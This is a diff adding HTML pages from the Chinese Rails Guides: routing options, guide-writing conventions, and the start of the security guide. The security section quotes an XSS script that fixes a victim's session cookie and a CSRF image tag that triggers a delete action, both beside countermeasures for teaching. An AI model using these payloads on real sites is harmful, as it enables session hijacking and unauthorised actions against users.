+get '/stories/:name', to: redirect('/articles/%{name}', status: 302)
+
+
+
+

在重定向时,如果不指定主机(例如 http://www.example.com),Rails 会使用当前请求的主机。

3.13 映射到 Rack 应用的路由

在声明路由时,我们不仅可以使用字符串,例如映射到 Articles 控制器的 index 动作的 'articles#index',还可以指定 Rack 应用为端点:

+
+match '/application.js', to: MyRackApp, via: :all
+
+
+
+

只要 MyRackApp 应用能够响应 call 方法并返回 [status, headers, body] 数组,对于路由来说,Rack 应用和控制器动作就没有区别。via: :all 选项使 Rack 应用可以处理所有 HTTP 方法。

实际上,'articles#index' 会被展开为 ArticlesController.action(:index),其返回值正是一个 Rack 应用。

记住,路由所匹配的路径,就是 Rack 应用接收的路径。例如,对于下面的路由,Rack 应用接收的路径是 /admin

+
+match '/admin', to: AdminApp, via: :all
+
+
+
+

如果想让 Rack 应用接收根路径上的请求,可以使用 mount 方法:

+
+mount AdminApp, at: '/admin'
+
+
+
+

3.14 使用 root 方法

root 方法指明如何处理根路径(/)上的请求:

+
+root to: 'pages#main'
+root 'pages#main' # 上一行代码的简易写法
+
+
+
+

root 路由应该放在路由文件的顶部,因为最常用的路由应该首先匹配。

root 路由只处理 GET 请求。

我们还可以在命名空间和作用域中使用 root 方法,例如:

+
+namespace :admin do
+  root to: "admin#index"
+end
+
+root to: "home#index"
+
+
+
+

3.15 Unicode 字符路由

在声明路由时,可以直接使用 Unicode 字符,例如:

+
+get 'こんにちは', to: 'welcome#index'
+
+
+
+

4 自定义资源路由

尽管 resources :articles 默认生成的路由和辅助方法通常都能很好地满足需求,但是也有一些情况下我们需要自定义资源路由。Rails 允许我们通过各种方式自定义资源式辅助方法(resourceful helper)。

4.1 指定控制器

:controller 选项用于显式指定资源使用的控制器,例如:

+
+resources :photos, controller: 'images'
+
+
+
+

这个路由会把 /photos 路径映射到 Images 控制器上:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HTTP 方法路径控制器#动作具名辅助方法
GET/photosimages#indexphotos_path
GET/photos/newimages#newnew_photo_path
POST/photosimages#createphotos_path
GET/photos/:idimages#showphoto_path(:id)
GET/photos/:id/editimages#editedit_photo_path(:id)
PATCH/PUT/photos/:idimages#updatephoto_path(:id)
DELETE/photos/:idimages#destroyphoto_path(:id)
+

请使用 photos_pathnew_photo_path 等辅助方法为资源生成路径。

对于命名空间中的控制器,我们可以使用目录表示法(directory notation)。例如:

+
+resources :user_permissions, controller: 'admin/user_permissions'
+
+
+
+

这个路由会映射到 Admin::UserPermissions 控制器。

在这种情况下,我们只能使用目录表示法。如果我们使用 Ruby 的常量表示法(constant notation),例如 controller: 'Admin::UserPermissions',有可能导致路由错误,而使 Rails 显示警告信息。

4.2 指定约束

:constraints 选项用于指定隐式 ID 必须满足的格式要求。例如:

+
+resources :photos, constraints: { id: /[A-Z][A-Z][0-9]+/ }
+
+
+
+

这个路由声明使用正则表达式来约束 :id 参数。此时,路由将不会匹配 /photos/1 路径,但会匹配 /photos/RR27 路径。

我们可以通过块把一个约束应用于多个路由:

+
+constraints(id: /[A-Z][A-Z][0-9]+/) do
+  resources :photos
+  resources :accounts
+end
+
+
+
+

当然,在这种情况下,我们也可以使用非资源路由的高级约束。

默认情况下,在 :id 参数中不能使用小圆点,因为小圆点是格式化路由的分隔符。如果想在 :id 参数中使用小圆点,可以通过添加约束来实现相同效果,例如,id: /[^\/]+/ 可以匹配除斜线外的一个或多个字符。

4.3 覆盖具名路由辅助方法

通过 :as 选项,我们可以覆盖具名路由辅助方法的默认名称。例如:

+
+resources :photos, as: 'images'
+
+
+
+

这个路由会把以 /photos 开头的路径映射到 Photos 控制器上,同时通过 :as 选项设置具名辅助方法的名称。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HTTP 方法路径控制器#动作具名辅助方法
GET/photosphotos#indeximages_path
GET/photos/newphotos#newnew_image_path
POST/photosphotos#createimages_path
GET/photos/:idphotos#showimage_path(:id)
GET/photos/:id/editphotos#editedit_image_path(:id)
PATCH/PUT/photos/:idphotos#updateimage_path(:id)
DELETE/photos/:idphotos#destroyimage_path(:id)
+

4.4 覆盖 newedit 片段

:path_names 选项用于覆盖路径中自动生成的 newedit 片段,例如:

+
+resources :photos, path_names: { new: 'make', edit: 'change' }
+
+
+
+

这个路由能够识别下面的路径:

+
+/photos/make
+/photos/1/change
+
+
+
+

:path_names 选项不会改变控制器动作的名称,上面这两个路径仍然被分别映射到 newedit 动作上。

通过作用域,我们可以对所有路由应用 :path_names 选项。

+
+scope path_names: { new: 'make' } do
+  # 其余路由
+end
+
+
+
+

4.5 为具名路由辅助方法添加前缀

通过 :as 选项,我们可以为具名路由辅助方法添加前缀。通过在作用域中使用 :as 选项,我们可以解决路由名称冲突的问题。例如:

+
+scope 'admin' do
+  resources :photos, as: 'admin_photos'
+end
+
+resources :photos
+
+
+
+

上述路由声明会生成 admin_photos_pathnew_admin_photo_path 等辅助方法。

通过在作用域中使用 :as 选项,我们可以为一组路由辅助方法添加前缀:

+
+scope 'admin', as: 'admin' do
+  resources :photos, :accounts
+end
+
+resources :photos, :accounts
+
+
+
+

上述路由会生成 admin_photos_pathadmin_accounts_path 等辅助方法,其返回值分别为 /admin/photos/admin/accounts 等。

namespace 作用域除了添加 :as 选项指定的前缀,还会添加 :module:path 前缀。

我们还可以使用具名参数指定路由前缀,例如:

+
+scope ':username' do
+  resources :articles
+end
+
+
+
+

这个路由能够识别 /bob/articles/1 路径,此时,在控制器、辅助方法和视图中,我们可以使用 params[:username] 获取路径中的 username 部分,即 bob

4.6 限制所创建的路由

默认情况下,Rails 会为每个 REST 式路由创建 7 个默认动作(indexshownewcreateeditupdatedestroy)。我们可以使用 :only:except 选项来微调此行为。:only 选项用于指定想要生成的路由:

+
+resources :photos, only: [:index, :show]
+
+
+
+

此时,/photos 路径上的 GET 请求会成功,而 POST 请求会失败,因为后者会被映射到 create 动作上。

:except 选项用于指定不想生成的路由:

+
+resources :photos, except: :destroy
+
+
+
+

此时,Rails 会创建除 destroy 之外的所有路由,因此 /photos/:id 路径上的 DELETE 请求会失败。

如果应用中有很多资源式路由,通过 :only:except 选项,我们可以只生成实际需要的路由,这样可以减少内存使用、加速路由处理过程。

4.7 本地化路径

在使用 scope 方法时,我们可以修改 resources 方法生成的路径名称。例如:

+
+scope(path_names: { new: 'neu', edit: 'bearbeiten' }) do
+  resources :categories, path: 'kategorien'
+end
+
+
+
+

Rails 会生成下列映射到 Categories 控制器的路由:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HTTP 方法路径控制器#动作具名辅助方法
GET/kategoriencategories#indexcategories_path
GET/kategorien/neucategories#newnew_category_path
POST/kategoriencategories#createcategories_path
GET/kategorien/:idcategories#showcategory_path(:id)
GET/kategorien/:id/bearbeitencategories#editedit_category_path(:id)
PATCH/PUT/kategorien/:idcategories#updatecategory_path(:id)
DELETE/kategorien/:idcategories#destroycategory_path(:id)
+

4.8 覆盖资源的单数形式

通过为 Inflector 添加附加的规则,我们可以定义资源的单数形式。例如:

+
+ActiveSupport::Inflector.inflections do |inflect|
+  inflect.irregular 'tooth', 'teeth'
+end
+
+
+
+

4.9 在嵌套资源中使用 :as 选项

在嵌套资源中,我们可以使用 :as 选项覆盖自动生成的辅助方法名称。例如:

+
+resources :magazines do
+  resources :ads, as: 'periodical_ads'
+end
+
+
+
+

会生成 magazine_periodical_ads_urledit_magazine_periodical_ad_path 等辅助方法。

4.10 覆盖具名路由的参数

:param 选项用于覆盖默认的资源标识符 :id(用于生成路由的动态片段的名称)。在控制器中,我们可以通过 params[<:param>] 访问资源标识符。

+
+resources :videos, param: :identifier
+
+
+
+
+
+videos GET  /videos(.:format)                  videos#index
+       POST /videos(.:format)                  videos#create
+new_videos GET  /videos/new(.:format)              videos#new
+edit_videos GET  /videos/:identifier/edit(.:format) videos#edit
+
+
+
+
+
+Video.find_by(identifier: params[:identifier])
+
+
+
+

通过覆盖相关模型的 ActiveRecord::Base#to_param 方法,我们可以构造 URL 地址:

+
+class Video < ApplicationRecord
+  def to_param
+    identifier
+  end
+end
+
+video = Video.find_by(identifier: "Roman-Holiday")
+edit_videos_path(video) # => "/videos/Roman-Holiday"
+
+
+
+

5 审查和测试路由

Rails 提供了路由检查和测试的相关功能。

5.1 列出现有路由

要想得到应用中现有路由的完整列表,可以在开发环境中运行服务器,然后在浏览器中访问 http://localhost:3000/rails/info/routes。在终端中执行 rails routes 命令,也会得到相同的输出结果。

这两种方式都会按照路由在 config/routes.rb 文件中的声明顺序,列出所有路由。每个路由都包含以下信息:

+
    +
  • 路由名称(如果有的话)

  • +
  • 所使用的 HTTP 方法(如果路由不响应所有的 HTTP 方法)

  • +
  • 所匹配的 URL 模式

  • +
  • 路由参数

  • +
+

例如,下面是执行 rails routes 命令后,REST 式路由的一部分输出结果:

+
+    users GET    /users(.:format)          users#index
+          POST   /users(.:format)          users#create
+ new_user GET    /users/new(.:format)      users#new
+edit_user GET    /users/:id/edit(.:format) users#edit
+
+
+
+

可以使用 grep 选项(即 -g)搜索路由。只要路由的 URL 辅助方法的名称、HTTP 方法或 URL 路径中有部分匹配,该路由就会显示在搜索结果中。

+
+$ bin/rails routes -g new_comment
+$ bin/rails routes -g POST
+$ bin/rails routes -g admin
+
+
+
+

要想查看映射到指定控制器的路由,可以使用 -c 选项。

+
+$ bin/rails routes -c users
+$ bin/rails routes -c admin/users
+$ bin/rails routes -c Comments
+$ bin/rails routes -c Articles::CommentsController
+
+
+
+

为了增加 rails routes 命令输出结果的可读性,可以增加终端窗口的宽度,避免输出结果折行。

5.2 测试路由

路由和应用的其他部分一样,也应该包含在测试策略中。为了简化路由测试,Rails 提供了三个内置断言

+
    +
  • assert_generates 断言

  • +
  • assert_recognizes 断言

  • +
  • assert_routing 断言

  • +
+
5.2.1 assert_generates 断言

assert_generates 断言的功能是断定所指定的一组选项会生成指定路径,它可以用于默认路由或自定义路由。例如:

+
+assert_generates '/photos/1', { controller: 'photos', action: 'show', id: '1' }
+assert_generates '/about', controller: 'pages', action: 'about'
+
+
+
+
5.2.2 assert_recognizes 断言

assert_recognizes 断言和 assert_generates 断言的功能相反,它断定所提供的路径能够被路由识别并映射到指定控制器动作。例如:

+
+assert_recognizes({ controller: 'photos', action: 'show', id: '1' }, '/photos/1')
+
+
+
+

我们可以通过 :method 参数指定 HTTP 方法:

+
+assert_recognizes({controller:'photos',action:'create'},{path:'photos',method::post})
+
+
+
+
5.2.3 assert_routing 断言

assert_routing 断言会对路由进行双向测试:既测试路径能否生成选项,也测试选项能否生成路径。也就是集 assert_generatesassert_recognizes 这两种断言的功能于一身。

+
+assert_routing({ path: 'photos', method: :post }, { controller: 'photos', action: 'create' })
+
+
+
+ + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/ruby_on_rails_guides_guidelines.html b/v5.0/ruby_on_rails_guides_guidelines.html new file mode 100644 index 0000000..7534c38 --- /dev/null +++ b/v5.0/ruby_on_rails_guides_guidelines.html @@ -0,0 +1,338 @@ + + + + + + + +Ruby on Rails 指南指导方针 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Ruby on Rails 指南指导方针

本文说明编写 Ruby on Rails 指南的指导方针。本文也遵守这一方针,本身就是个示例。

读完本文后,您将学到:

+
    +
  • Rails 文档使用的约定;

  • +
  • 如何在本地生成指南。

  • +
+ + + + +
+
+ +
+
+
+

1 Markdown

指南使用 GitHub Flavored Markdown 编写。Markdown 有完整的文档,还有速查表

2 序言

每篇文章的开头要有介绍性文字(蓝色区域中的简短介绍)。序言应该告诉读者文章的主旨,以及能让读者学到什么。可以以Rails 路由全解为例。

3 标题

每篇文章的标题使用 h1 标签,文章中的小节使用 h2 标签,子节使用 h3 标签,以此类推。注意,生成的 HTML 从 <h2> 标签开始。

+
+Guide Title
+===========
+
+Section
+-------
+
+### Sub Section
+
+
+
+

标题中除了介词、连词、冠词和“to be”这种形式的动词之外,每个词的首字母大写:

+
+#### Middleware Stack is an Array
+#### When are Objects Saved?
+
+
+
+

行内格式与正文一样:

+
+##### The `:content_type` Option
+
+
+
+

4 API 文档指导方针

指南和 API 应该连贯一致。尤其是API 文档指导方针中的下述几节,同样适用于指南:

+ +

5 HTML 版指南

在生成指南之前,先确保你的系统中安装了 Bundler 的最新版。写作本文时,要在你的设备中安装 Bundler 1.3.5 或以上版本。

安装最新版 Bundler 的方法是,执行 gem install bundler 命令。

5.1 生成

若想生成全部指南,进入 guides 目录,执行 bundle install 命令之后再执行:

+
+$ bundle exec rake guides:generate
+
+
+
+

或者

+
+$ bundle exec rake guides:generate:html
+
+
+
+

得到的 HTML 文件在 ./output 目录中。

如果只想处理 my_guide.md,使用 ONLY 环境变量:

+
+$ touch my_guide.md
+$ bundle exec rake guides:generate ONLY=my_guide
+
+
+
+

默认情况下,没有改动的文章不会处理,因此实际使用中很少用到 ONLY

如果想强制处理所有文章,传入 ALL=1

此外,建议你加上 WARNINGS=1。这样能检测到重复的 ID,遇到死链还会提醒。

如果想生成英语之外的指南,可以把译文放在 source 中的子目录里(如 source/es),然后使用 GUIDES_LANGUAGE 环境变量:

+
+$ bundle exec rake guides:generate GUIDES_LANGUAGE=es
+
+
+
+

如果想查看可用于配置生成脚本的全部环境变量,只需执行:

+
+$ rake
+
+
+
+

5.2 验证

请使用下述命令验证生成的 HTML:

+
+$ bundle exec rake guides:validate
+
+
+
+

尤其要注意,ID 是从标题的内容中生成的,往往会重复。生成指南时请设定 WARNINGS=1,监测重复的 ID。提醒消息中有建议的解决方案。

6 Kindle 版指南

6.1 生成

如果想生成 Kindle 版指南,使用下述 Rake 任务:

+
+$ bundle exec rake guides:generate:kindle
+
+
+
+ + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/security.html b/v5.0/security.html new file mode 100644 index 0000000..6c1c32f --- /dev/null +++ b/v5.0/security.html @@ -0,0 +1,947 @@ + + + + + + + +Ruby on Rails 安全指南 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Ruby on Rails 安全指南

本文介绍 Web 应用常见的安全问题,以及如何在 Rails 中规避。

读完本文后,您将学到:

+
    +
  • 所有需要强调的安全对策;

  • +
  • Rails 中会话的概念,应该在会话中保存什么内容,以及常见的攻击方式;

  • +
  • 为什么访问网站也可能带来安全问题(跨站请求伪造);

  • +
  • 处理文件或提供管理界面时需要注意的问题;

  • +
  • 如何管理用户:登录、退出,以及不同层次上的攻击方式;

  • +
  • 最常见的注入攻击方式。

  • +
+ + + + +
+
+ +
+
+
+

1 简介

Web 应用框架的作用是帮助开发者创建 Web 应用。其中一些框架还能帮助我们提高 Web 应用的安全性。事实上,框架之间无所谓谁更安全,对许多框架来说,只要使用正确,我们都能开发出安全的应用。Ruby on Rails 提供了一些十分智能的辅助方法,例如,用于防止 SQL 注入的辅助方法,极大减少了这一安全风险。

一般来说,并不存在什么即插即用的安全机制。安全性取决于开发者如何使用框架,有时也取决于开发方式。安全性还取决于 Web 应用环境的各个层面,包括后端存储、Web 服务器和 Web 应用自身等(甚至包括其他 Web 应用)。

不过,据高德纳咨询公司(Gartner Group)估计,75% 的攻击发生在 Web 应用层面,报告称“在进行了安全审计的 300 个网站中,97% 存在被攻击的风险”。这是因为针对 Web 应用的攻击相对来说更容易实施,其工作原理和具体操作都比较简单,即使是非专业人士也能发起攻击。

针对 Web 应用的安全威胁包括账户劫持、绕过访问控制、读取或修改敏感数据,以及显示欺诈信息等。有时,攻击者还会安装木马程序或使用垃圾邮件群发软件,以便获取经济利益,或者通过篡改公司资源来损害品牌形象。为了防止这些攻击,最大限度地降低或消除攻击造成的影响,首先我们必须全面了解各种攻击方式,只有这样才能找出正确对策——这正是本文的主要目的。

为了开发安全的 Web 应用,我们必须从各个层面紧跟安全形势,做到知己知彼。为此,我们可以订阅安全相关的邮件列表,阅读相关博客,同时养成及时更新并定期进行安全检查的习惯(请参阅 其他资源)。这些工作都是手动完成的,只有这样我们才能发现潜在的安全隐患。

2 会话

从会话入手来了解安全问题是一个很好的切入点,因为会话对于特定攻击十分脆弱。

2.1 会话是什么

HTTP 是无状态协议,会话使其有状态。

大多数应用需要跟踪特定用户的某些状态,例如购物车里的商品、当前登录用户的 ID 等。如果没有会话,就需要为每一次请求标识用户甚至进行身份验证。当新用户访问应用时,Rails 会自动新建会话,如果用户曾经访问过应用,就会加载已有会话。

会话通常由值的哈希和会话 ID(通常为 32 个字符的字符串)组成,其中会话 ID 用于标识哈希值。发送到客户端浏览器的每个 cookie 都包含会话 ID,另一方面,客户端浏览器发送到服务器的每个请求也包含会话 ID。在 Rails 中,我们可以使用 session 方法保存和取回值:

+
+session[:user_id] = @current_user.id
+User.find(session[:user_id])
+
+
+
+

2.2 会话 ID

会话 ID 是长度为 32 字节的 MD5 哈希值。

会话 ID 由随机字符串的哈希值组成。这个随机字符串包含当前时间、一个 0 到 1 之间的随机数、Ruby 解析器的进程 ID(基本上也是一个随机数),以及一个常量字符串。目前 Rails 会话 ID 还无法暴力破解。尽管直接破解 MD5 很难,但存在 MD5 碰撞的可能性,理论上可以创建具有相同哈希值的另一个输入文本。不过到目前为止,这个问题还未产生安全影响。

2.3 会话劫持

通过窃取用户的会话 ID,攻击者能够以受害者的身份使用 Web 应用。

很多 Web 应用都有身份验证系统:用户提供用户名和密码,Web 应用在验证后把对应的用户 ID 储存到会话散列中。之后,会话就可以合法使用了。对于每个请求,应用都会通过识别会话中储存的用户 ID 来加载用户,从而避免了重新进行身份验证。cookie 中的会话 ID 用于标识会话。

因此,cookie 提供了 Web 应用的临时身份验证。只要得到了他人的 cookie,任何人都能以该用户的身份使用 Web 应用,这可能导致严重的后果。下面介绍几种劫持会话的方式及其对策:

+
    +
  • +

    在不安全的网络中嗅探 cookie。无线局域网就是一个例子。在未加密的无线局域网中,监听所有已连接客户端的流量极其容易。因此,Web 应用开发者应该通过 SSL 提供安全连接。在 Rails 3.1 和更高版本中,可以在应用配置文件中设置强制使用 SSL 连接:

    +
    +
    +config.force_ssl = true
    +
    +
    +
    +
  • +
  • 大多数人在使用公共终端后不会清除 cookie。因此,如果最后一个用户没有退出 Web 应用,后续用户就能以该用户的身份继续使用。因此,Web 应用一定要提供“退出”按钮,并且要尽可能显眼。

  • +
  • 很多跨站脚本(XSS)攻击的目标是获取用户 cookie。更多介绍请参阅 跨站脚本(XSS)

  • +
  • 有的攻击者不窃取 cookie,而是篡改用户 cookie 中的会话 ID。这种攻击方式被称为固定会话攻击,后文会详细介绍。

  • +
+

大多数攻击者的主要目标是赚钱。根据赛门铁克《互联网安全威胁报告》,被窃取的银行登录账户的黑市价格从 10 到 1000 美元不等(取决于账户余额),信用卡卡号为 0.40 到 20 美元,在线拍卖网站的账户为 1 到 8 美元,电子邮件账户密码为 4 到 30 美元。

2.4 会话安全指南

下面是一些关于会话安全的一般性指南。

+
    +
  • 不要在会话中储存大型对象,而应该把它们储存在数据库中,并将其 ID 保存在会话中。这么做可以避免同步问题,并且不会导致会话存储空间耗尽(会话存储空间的大小取决于其类型,详见后文)。如果不这么做,当修改了对象结构时,用户 cookie 中保存的仍然是对象的旧版本。通过在服务器端储存会话,我们可以轻而易举地清除会话,而在客户端储存会话,要想清除会话就很麻烦了。

  • +
  • 关键数据不应该储存在会话中。如果用户清除了 cookie 或关闭了浏览器,这些关键数据就会丢失。而且,在客户端储存会话,用户还能读取关键数据。

  • +
+

2.5 会话存储

Rails 提供了几种会话散列的存储机制。其中最重要的是 ActionDispatch::Session::CookieStore

Rails 2 引入了一种新的默认会话存储机制——CookieStore。CookieStore 把会话散列直接储存在客户端的 cookie 中。无需会话 ID,服务器就可以从 cookie 中取回会话散列。这么做可以显著提高应用的运行速度,但也存在争议,因为这种存储机制具有下列安全隐患:

+
    +
  • cookie 的大小被严格限制为 4 KB。这个限制本身没问题,因为如前文所述,本来就不应该在会话中储存大量数据。在会话中储存当前用户的数据库 ID 一般没问题。

  • +
  • 客户端可以看到储存在会话中的所有内容,因为数据是以明文形式储存的(实际上是 Base64 编码,因此没有加密)。因此,我们不应该在会话中储存隐私数据。为了防止会话散列被篡改,应该根据服务器端密令(secrets.secret_token)计算会话的摘要(digest),然后把这个摘要添加到 cookie 的末尾。

  • +
+

不过,从 Rails 4 开始,默认存储机制是 EncryptedCookieStore。EncryptedCookieStore 会先对会话进行加密,再储存到 cookie 中。这么做可以防止用户访问和篡改 cookie 的内容。因此,会话也成为储存数据的更安全的地方。加密时需要使用 config/secrets.yml 文件中储存的服务器端密钥 secrets.secret_key_base

这意味着 EncryptedCookieStore 存储机制的安全性由密钥(以及摘要算法,出于兼容性考虑默认为 SHA1 算法)决定。因此,密钥不能随意取值,例如从字典中找一个单词,或少于 30 个字符,而应该使用 rails secret 命令生成。

secrets.secret_key_base 用于指定密钥,在应用中会话使用这个密钥来验证已知密钥,以防被篡改。在创建应用时,config/secrets.yml 文件中储存的 secrets.secret_key_base 是一个随机密钥,例如:

+
+development:
+  secret_key_base: a75d...
+
+test:
+  secret_key_base: 492f...
+
+production:
+  secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
+
+
+
+

Rails 老版本中的 CookieStore 使用的是 secret_token,而不是 EncryptedCookieStore 所使用的 secret_key_base。更多介绍请参阅升级文档。

如果应用的密钥泄露了(例如应用开放了源代码),强烈建议更换密钥。

2.6 对 CookieStore 会话的重放攻击

重放攻击(replay attack)是使用 CookieStore 时必须注意的另一种攻击方式。

重放攻击的工作原理如下:

+
    +
  • 用户获得的信用额度保存在会话中(信用额度实际上不应该保存在会话中,这里只是出于演示目的才这样做);

  • +
  • 用户使用部分信用额度购买商品;

  • +
  • 减少后的信用额度仍然保存在会话中;

  • +
  • 用户先前复制了第一步中的 cookie,并用这个 cookie 替换浏览器中的当前 cookie;

  • +
  • 用户重新获得了消费前的信用额度。

  • +
+

在会话中包含随机数可以防止重放攻击。每个随机数验证一次后就会失效,服务器必须跟踪所有有效的随机数。当有多个应用服务器时,情况会变得更复杂,因为我们不能把随机数储存在数据库中,否则就违背了使用 CookieStore 的初衷(避免访问数据库)。

因此,防止重放攻击的最佳方案,不是把这类敏感数据储存在会话中,而是把它们储存在数据库中。回到上面的例子,我们可以把信用额度储存在数据库中,而把当前用户的 ID 储存在会话中。

2.7 会话固定攻击

除了窃取用户的会话 ID 之外,攻击者还可以直接使用已知的会话 ID。这种攻击方式被称为会话固定(session fixation)攻击。

session fixation

会话固定攻击的关键是强制用户的浏览器使用攻击者已知的会话 ID,这样攻击者就无需窃取会话 ID。会话固定攻击的工作原理如下:

+
    +
  • 攻击者创建一个有效的会话 ID:打开 Web 应用的登录页面,从响应中获取 cookie 中的会话 ID(参见上图中的第 1 和第 2 步)。

  • +
  • 攻击者定期访问 Web 应用,以避免会话过期。

  • +
  • 攻击者强制用户的浏览器使用这个会话 ID(参见上图中的第 3 步)。由于无法修改另一个域名的 cookie(基于同源原则的限制),攻击者必须在目标 Web 应用的域名上运行 JavaScript,也就是通过 XSS 把 JavaScript 注入目标 Web 应用来完成攻击。例如:<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>。关于 XSS 和注入的更多介绍见后文。

  • +
  • 攻击者诱使用户访问包含恶意 JavaScript 代码的页面,这样用户的浏览器中的会话 ID 就会被篡改为攻击者已知的会话 ID。

  • +
  • 由于这个被篡改的会话还未使用过,Web 应用会进行身份验证。

  • +
  • 此后,用户和攻击者将共用同一个会话来访问 Web 应用。攻击者篡改后的会话成为了有效会话,用户面对攻击却浑然不知。

  • +
+

2.8 会话固定攻击的对策

一行代码就能保护我们免受会话固定攻击。

面对会话固定攻击,最有效的对策是在登录成功后重新设置会话 ID,并使原有会话 ID 失效,这样攻击者持有的会话 ID 也就失效了。这也是防止会话劫持的有效对策。在 Rails 中重新设置会话 ID 的方式如下:

+
+reset_session
+
+
+
+

如果使用流行的 Devise gem 管理用户,Devise 会在用户登录和退出时自动使原有会话过期。如果打算手动完成用户管理,请记住在登录操作后(新会话创建后)使原有会话过期。会话过期后其中的值都会被删除,因此我们需要把有用的值转移到新会话中。

另一个对策是在会话中保存用户相关的属性,对于每次请求都验证这些属性,如果信息不匹配就拒绝访问。这些属性包括 IP 地址、用户代理(Web 浏览器名称),其中用户代理的用户相关性要弱一些。在保存 IP 地址时,必须注意,有些网络服务提供商(ISP)或大型组织,会把用户置于代理服务器之后。在会话的生命周期中,这些代理服务器有可能发生变化,从而导致用户无法正常使用应用,或出现权限问题。

2.9 会话过期

永不过期的会话增加了跨站请求伪造(CSRF)、会话劫持和会话固定攻击的风险。

cookie 的过期时间可以通过会话 ID 设置。然而,客户端能够修改储存在 Web 浏览器中的 cookie,因此在服务器上使会话过期更安全。下面的例子演示如何使储存在数据库中的会话过期。通过调用 Session.sweep("20 minutes"),可以使闲置超过 20 分钟的会话过期。

+
+class Session < ApplicationRecord
+  def self.sweep(time = 1.hour)
+    if time.is_a?(String)
+      time = time.split.inject { |count, unit| count.to_i.send(unit) }
+    end
+
+    delete_all "updated_at < '#{time.ago.to_s(:db)}'"
+  end
+end
+
+
+
+

会话固定攻击介绍了维护会话的问题。攻击者每五分钟维护一次会话,就可以使会话永远保持活动,不至过期。针对这个问题的一个简单解决方案是在会话数据表中添加 created_at 字段,这样就可以找出创建了很长时间的会话并删除它们。可以用下面这行代码代替上面例子中的对应代码:

+
+delete_all "updated_at < '#{time.ago.to_s(:db)}' OR
+  created_at < '#{2.days.ago.to_s(:db)}'"
+
+
+
+

3 跨站请求伪造(CSRF)

跨站请求伪造的工作原理是,通过在页面中包含恶意代码或链接,访问已验证用户才能访问的 Web 应用。如果该 Web 应用的会话未超时,攻击者就能执行未经授权的操作。

csrf

会话中,我们了解到大多数 Rails 应用都使用基于 cookie 的会话。它们或者把会话 ID 储存在 cookie 中并在服务器端储存会话散列,或者把整个会话散列储存在客户端。不管是哪种情况,只要浏览器能够找到某个域名对应的 cookie,就会自动在发送请求时包含该 cookie。有争议的是,即便请求来源于另一个域名上的网站,浏览器在发送请求时也会包含客户端的 cookie。让我们来看个例子:

+
    +
  • Bob 在访问留言板时浏览了一篇黑客发布的帖子,其中有一个精心设计的 HTML 图像元素。这个元素实际指向的是 Bob 的项目管理应用中的某个操作,而不是真正的图像文件:<img src="http://www.webapp.com/project/1/destroy">

  • +
  • Bob 在 www.webapp.com 上的会话仍然是活动的,因为几分钟前他访问这个应用后没有退出。

  • +
  • 当 Bob 浏览这篇帖子时,浏览器发现了这个图像标签,于是尝试从 www.webapp.com 中加载图像。如前文所述,浏览器在发送请求时包含 cookie,其中就有有效的会话 ID。

  • +
  • www.webapp.com 上的 Web 应用会验证对应会话散列中的用户信息,并删除 ID 为 1 的项目,然后返回结果页面。由于返回的并非浏览器所期待的结果,图像无法显示。

  • +
  • Bob 当时并未发觉受到了攻击,但几天后,他发现 ID 为 1 的项目不见了。

  • +
+

有一点需要特别注意,像上面这样精心设计的图像或链接,并不一定要出现在 Web 应用所在的域名上,而是可以出现在任何地方,例如论坛、博客帖子,甚至电子邮件中。

CSRF 在 CVE(Common Vulnerabilities and Exposures,公共漏洞披露)中很少出现,在 2006 年不到 0.1%,但却是个可怕的隐形杀手。对于很多安全保障工作来说,CSRF 是一个严重的安全问题。

3.1 CSRF 对策

首先,根据 W3C 的要求,应该适当地使用 GETPOST HTTP 方法。其次,在非 GET 请求中使用安全令牌(security token)可以防止应用受到 CSRF 攻击。

HTTP 协议提供了两种主要的基本请求类型,GETPOST(还有其他请求类型,但大多数浏览器不支持)。万维网联盟(W3C)提供了检查表,以帮助开发者在 GETPOST 这两个 HTTP 方法之间做出正确选择:

使用 GET HTTP 方法的情形:

+
    +
  • 当交互更像是在询问时,例如查询、读取、查找等安全操作。
  • +
+

使用 POST HTTP 方法的情形:

+
    +
  • 当交互更像是在执行命令时;

  • +
  • 当交互改变了资源的状态并且这种变化能够被用户察觉时,例如订阅某项服务;

  • +
  • 当用户需要对交互结果负责时。

  • +
+

如果应用是 REST 式的,还可以使用其他 HTTP 方法,例如 PATCHPUTDELETE。然而现今的大多数浏览器都不支持这些 HTTP 方法,只有 GETPOST 得到了普遍支持。Rails 通过隐藏的 _method 字段来解决这个问题。

